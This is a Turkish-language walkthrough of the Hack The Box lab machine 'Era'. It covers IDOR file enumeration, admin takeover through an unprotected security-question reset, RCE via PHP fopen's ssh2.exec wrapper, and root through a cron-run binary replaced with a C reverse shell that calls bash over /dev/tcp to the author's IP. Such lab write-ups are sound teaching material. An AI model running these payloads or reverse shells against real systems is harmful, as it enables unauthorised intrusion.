Makine Bilgisi #

  • Zorluk: Medium
  • OS: Linux
  • Link: Era

pwn3d

Özet #

Sistem üzerinde bulunan web sitesinin subdomainlerinde dosya yükleme/indirme sistemi bulunmuştur. Bu sistemin dosya indirme yapısında IDOR açığı bulunmuştur. IDOR açığı ile sisteme diğer kullanıcılar tarafından yüklenen dosyalar bulunmuştur. Bulunan dosyalar içerisinde sistemin kaynak kodu ve bir database bulunmuştur. Kaynak kodunda sadece yönetici hesabının kullanacağı özellik bulunmuştur. Yönetici özelliği içerisindeki php fopen özelliği kullanılarak RCE elde edilmiştir. Makine içerisinde yazma yetkimizin olduğu bir dosyanın root kullanıcı tarafından cron ile çalıştırıldığı görülmüştür. dosya üzerindeki yazma yetkileri kullanılarak dosya değiştirilmiş ve root elde edilmiştir.

Bilgi Toplama #

nmap sonuçlarında baktığımızda 21 portunda bir ftp servisi ve 80 portunda bir http servisi olduğunu görüyoruz. 22 portunda görmeye alışık olduğumuz ssh servisinin ise bu sistemde açık olmadığını görüyoruz. TTL değerlerine baktığımızda 63 olduğunu görüyoruz, sistemin bir linux sistemi olduğunu, açık portların bu sistemden geldiğini ve arkada başka bir sistem olmadığı düşünüyoruz. ftp servisi için elimizde kullanıcı bilgileri olmadığı ve bilinen bir güvenlik açığı bulunmadığı için http servisi üzerinden incelemeye devam ediyoruz. nmap sonuçlarında da gördüğümüz üzere sistem bizi era.htb adresine yönlendirmekte, bu adresi /etc/hosts dosyamıza ekleyip tarayıcı üzerinden girebiliyoruz.

WWW #

Era isminde bir tasarım şirketinin web sitesi olduğunu görüyoruz. Genel olarak statik içerikten oluşan sitede feroxbuster aracıyla tarama yaptığımızda da önemli sonuçlar elde etmiyoruz.

ffuf aracı ile subdomain taraması yaptığımızda ise file.era.htb subdomaininin var olduğunu görüyoruz.

┌─[xenon@parrot]─[~/ctf/Era]
└──╼ $ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
> -u http://era.htb -H "Host: FUZZ.era.htb" -fs 154 -o ffuf.out

/etc/hosts dosyamıza bu subdomaini ekleyerek siteye giriyoruz.

Era Storage #

Site bizi ‘Welcome to Era Storage!’ yazısıyla karşılıyor. Sırasıyla ‘Manage Files’, ‘Upload Files’, ‘Update Security Questions’, ‘Sign In’ olmak üzere 4 ana seçenek ve bu seçeneklerin altında ‘Alternatively, login using security questions.’, yani güvenlik sorularıyla giriş yapmak imkanı sunuyor.

Seçenekler arasında kayıt olma kısmı yok ancak basit bir tahminle /register.php üzerinden sisteme kayıt oluyoruz ve giriş yapıyoruz. Dosya yükleme sisteminin dashboard’ı karşımızda, sol panelden ‘Upload Files’ kısmına geliyoruz ve bir dosya yüklüyoruz. Yükleme sisteminde burpsuite aracı ile birkaç açık deniyorum ancak bir sonuç elde edemiyorum. Herhangi bir dosya yükledikten sonra dosyayı indirebilmem için http://file.era.htb/download.php?id=380 adresini veriyor. Bu linke tıkladıktan sonra indir butonuna basıyorum, o buton ise aynı url’nin sonuna &dl=true ekliyor ve dosyayı direkt indirebileceğim bir url üretiyor.

IDOR #

Bu kısımda kendi PHPSESSID‘mi kullanarak başka kişilerin dosyalarını indirmeyi deniyorum. Normalde benim olmayan ve erişememem gereken dosyalara direkt ID’lerini kullanarak erişebilme zafiyetine IDOR, yani “Insecure direct object reference” açığı denir. Bu sistemde de bu zafiyet bulunmakta. ffuf aracı ile aşağıdaki şekilde sistemde bulunan id’leri elde ediyorum.

Bu arada, bash içinde <(...) şeklinde komut kullandığınızda bash, içine yazdığınız komutun çıktısını geçici bir dosya şeklinde yorumlar. Yani aşağıdaki komutun ilgili kısmı -w /dev/fd/24 gibi bir şekilde değerlendirilecek. /dev/fd/24 içeriği ise seq 1 1000 komutunun çıktısı, yani 1’den 1000’e kadar olan sayıların satır satır yazılmış hali olacak.

┌─[xenon@parrot]─[~/ctf/Era]
└──╼ $ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -w <(seq 1 10000) \
> -H 'Cookie: PHPSESSID=jk8huro054soq2npma26dhlqqq' -fw 3161 -o idor.out

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/download.php?id=FUZZ
 :: Wordlist         : FUZZ: /dev/fd/63
 :: Header           : Cookie: PHPSESSID=jk8huro054soq2npma26dhlqqq
 :: Output file      : idor.out
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 3161
________________________________________________

54                      [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 16ms]
150                     [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 15ms]
380                     [Status: 200, Size: 6369, Words: 2552, Lines: 222, Duration: 20ms]
:: Progress: [10000/10000] :: Job [1/1] :: 819 req/sec :: Duration: [0:00:16] :: Errors: 0 ::

Sistemde bulunan bu dosyaları indirip neler olduklarına bakıyorum. İki dosya da bir arşiv, yani birden fazla dosya içeriyor. 150 id’li arşivin içeriğine baktığımda bir private key olduğunu görüyorum. Bir şeyleri imzalamak için kullanılacak gibi. 54 id’li arşivin içeriğine baktığımda bu sistemin kaynak kodunu ve bir sqlite database görüyorum.

Database #

Database içeriğine baktığımda ise biri admin_ef01cab31aa olmak üzere toplam 6 kullanıcı için bilgiler buluyorum. Bu bilgiler kullanıcı adı, hashlenmiş şifre ve admin kullanıcı için güvenlik soruları cevaplarıdır.

Elde ettiğimiz hash’leri john aracılığıyla kırmaya başlıyoruz, bir süre sonra eric ve yuri kullanıcılarının şifrelerini kırmayı başarıyoruz.

Daha öncesinde güvenlik soruları ile giriş yapabilme olduğunu görmüştük, bu bilgileri admin kullanıcısı için denediğimizde giriş yapamıyoruz, yani bu bilgiler geçerliliğini yitirmiş.

Kaynak Kodu #

Arşiv içerisinde bir de sistemin kaynak kodunu bulmuştuk, bu kaynak kodunu inceliyoruz. Burada download.php dosyası içerisinde sadece admin kullanıcının kullanabileceği bir fonksiyon buluyoruz, incelediğinizde fopen komutunu önünde tamamen kullanıcının kontrol ettiği format değeri olacak şekilde kullanıldığını görüyoruz. Eğer admin kullanıcısı olursak php‘nin özelliklerinden faydalanarak sistemi buradan ele geçirebiliriz.

download.php
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
    $format = isset($_GET['format']) ? $_GET['format'] : '';
    $file = $fetched[0];

    if (strpos($format, '://') !== false) {
        $wrapper = $format;
        header('Content-Type: application/octet-stream');
    } else {
        $wrapper = '';
        header('Content-Type: text/html');
    }

    try {
        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
        $full_path = $wrapper ? $wrapper . $file : $file;
        // Debug Output
        echo "Opening: " . $full_path . "\n";
        echo $file_content;
    } catch (Exception $e) {
        echo "Error reading file: " . $e->getMessage();
    }
}

Admin #

Admin kullanıcısını elde etmek için sistemin bir diğer hatasını kullanacağız. reset.php dosyası içerisinde güvenlik sorularını değiştirme özelliği bulunmaktadır. Sorun şu ki bu fonksiyon içerisinde username parametresi de kullanıcı tarafından alınmaktadır. İsteyen herkes başkasının güvenlik sorularını değiştirebilir, biz ise admin_ef01cab31aa kullanıcısının güvenlik sorularını değiştireceğiz.

// Process POST submission
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $username = trim($_POST['username'] ?? '');
    $new_answer1 = trim($_POST['new_answer1'] ?? '');
    $new_answer2 = trim($_POST['new_answer2'] ?? '');
    $new_answer3 = trim($_POST['new_answer3'] ?? '');

Sistemde kayıtlı session’um ile /reset.php adresine username kısmı admin_ef01cab31aa olacak şekilde POST isteği gönderiyorum ve sonrasında admin kullanıcısı olarak giriş yapıyorum.

RCE #

Artık daha öncesinde tespit ettiğimiz php kısmını kullanabiliriz. Bu kısımda php‘nin fopen fonksiyonunun özelliklerini kullanacağız. php’nin kendi manuel sayfasında da görebildiğimiz gibi fopen fonksiyonu birçok protokol ile birlikte çalışabilmektedir. Bizim kullanacağımız protokol ise ssh2 protokolü olacak. Bu protokol kullanıcı adı, şifre ve host değeri alarak ssh bağlantısı kurabilmektedir. Daha önceden kırdığmız iki şifreyi bu kısımda kullanacağız.

İlk Erişim #

Elde ettiğimiz bilgiler ile birlikte sisteme yapacağımız request’i hazırlıyoruz. ssh2 protokolü şu şekilde çalışmaktadır: ssh2.exec://<isim>:<şifre>@<host>/<komut>. İsim ve şifreyi zaten önceden kırmıştık bu şifreleri deneyeceğiz. host olarak 127.0.0.1 kullanacağız çünkü ssh bağlantısını sistem kendi üzerine yapacak, zaten nmap‘ta da gördüğümüz üzere sistem ssh‘i dışarı açmamıştı. komut olarak kendimize reverse shell açacağız, komutumuzda çok fazla özel karakter olmaması için revere shell’imizi base64 encode edip echo <BASE64> | base64 -d | bash; şeklinde kullanacağız. full_path değişkeninde dosyanın kendi adı da kullanıldığı için komutumuzun sonuna ; ekliyoruz. Bu sayede $file değişkeni payloadımızı bozmayacak.

Payloadımız hazırladıktan sonra nc -lvnp 9001 ile reverse shell’imizi dinlemeye başlayıp sisteme format= payloadımız olacak şekilde /download.php adresine request’imizi gönderiyoruz ve reverse shell’imizi açıyoruz.

eric@era:~$ wc -c user.txt
33 user.txt
eric@era:~$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
eric@era:~$ find / -group devs -writable 2>/dev/null
/opt/AV
/opt/AV/periodic-checks
/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.log
^C
eric@era:~$

Bu şekilde ilk flag’ımıza erişmiş oluyoruz.

Yetki Yükseltme #

Sistem üzerinde devs grubuna dahil olduğumuzu görüyoruz. Bu grubun yazabilme yetkisine sahip olduğu dosya/klasörleri araştırdığımızda /opt/AV/periodic-checks/ klasöründe yazma yetkimizin olduğunu görüyoruz.

İsminden de anlayacağımız üzere bu bir monitoring tool’u ve büyük ihtimalle belirli aralıklarla çalışmaktadır. Bu durumu kontrol etmek üzere sisteme pspy64 tool’umuzu yükleyip çalıştırılan process’lere bakıyoruz.

2025/11/04 20:10:31 CMD: UID=0     PID=1      | /sbin/init 
2025/11/04 20:11:01 CMD: UID=0     PID=6770   | /usr/sbin/CRON -f -P 
2025/11/04 20:11:01 CMD: UID=0     PID=6771   | 
2025/11/04 20:11:01 CMD: UID=0     PID=6772   | bash -c /root/initiate_monitoring.sh 
2025/11/04 20:11:01 CMD: UID=0     PID=6773   | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor 
2025/11/04 20:11:01 CMD: UID=0     PID=6775   | openssl asn1parse -inform DER -in text_sig_section.bin 
2025/11/04 20:11:01 CMD: UID=0     PID=6774   | /bin/bash /root/initiate_monitoring.sh 
2025/11/04 20:11:01 CMD: UID=0     PID=6778   | grep -oP (?<=UTF8STRING        :)Era Inc. 
2025/11/04 20:11:01 CMD: UID=0     PID=6776   | /bin/bash /root/initiate_monitoring.sh 
2025/11/04 20:11:01 CMD: UID=0     PID=6781   | /bin/bash /root/initiate_monitoring.sh 
2025/11/04 20:11:01 CMD: UID=0     PID=6779   | /bin/bash /root/initiate_monitoring.sh 
2025/11/04 20:11:01 CMD: UID=0     PID=6782   | /opt/AV/periodic-checks/monitor 
2025/11/04 20:11:04 CMD: UID=0     PID=6783   | 

pspy çıktısını incelediğimizde monitor binary’si içindeki .text_sig isimli section’u alıp imzasını kontrol etmektedir. Section’u bulamazsa veya imza doğru olmazsa /root/monitor adresinden bu binary’yı tekrar bu konuma kopyalamaktadır.

İmza doğru ise direkt programı çalıştırmaktadır.

Exploit #

Yapacağımız şey aslında basit, objcopy ile bu section’u alacağız, execute edilmesini istediğimiz binary’ye tekrardan objcopy ile yerleştireceğiz ve yeni binary’mizi monitor ile değiştireceğiz.

Öncelikle exploit dosyamız bu şekilde. Basit bir reverse shell.

#include <stdlib.h>
int main() {
    system("bash -c 'bash -i >& /dev/tcp/10.10.14.78/9001 0>&1'");
    return 0;
}

Daha sonra gerekli section’ları kopyalayıp beklemeye başlıyoruz.

eric@era:/opt/AV/periodic-checks$ gcc -o exploit exploit.c
eric@era:/opt/AV/periodic-checks$ objcopy --dump-section .text_sig=text_sig_section.bin monitor
eric@era:/opt/AV/periodic-checks$ objcopy --add-section .text_sig=text_sig_section.bin exploit
eric@era:/opt/AV/periodic-checks$ cp exploit monitor
eric@era:/opt/AV/periodic-checks$ sleep 60

Sonuç:

┌─[xenon@parrot]─[~/ctf/Era]
└──╼ $nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.237.233 51784
bash: cannot set terminal process group (7333): Inappropriate ioctl for device
bash: no job control in this shell
root@era:~# wc -c /root/root.txt
wc -c /root/root.txt
33 /root/root.txt
root@era:~#

Düşüncelerim #

Çözdüğüm yol intended yol mu bilmiyorum, ama sistemde ftp‘yi kullanmamıza hiç gerek yoktu, belki php ayarlarını değiştirmek ve initial footholdu zorlaştırmak için kullanılabilirdi.

Ayrıca sistemdeki IDOR ile bulduğumuz private key ve sertifika da gereksizdi, root’a giden yolda bir signature kontrolü vardı ama private key olmadan da çözülüyordu, hatta private key ile çözmek çok daha zor olurdu. Belki signature içindeki isim (pspy outputunda grep ile kontrol edilen) bir script’e verilip oradan root’a çıkabilirdik. Örnek olarak signature’yi kullanıp imza’da kullandığımız isim ile en basitinden script escape edebilirdik. Belki de ben yanlış çözmüşümdür.

Genel olarak düz bir yolda devam ettik, HTB’de medium olarak işaretlenmiş ama bence kolay bir makineydi.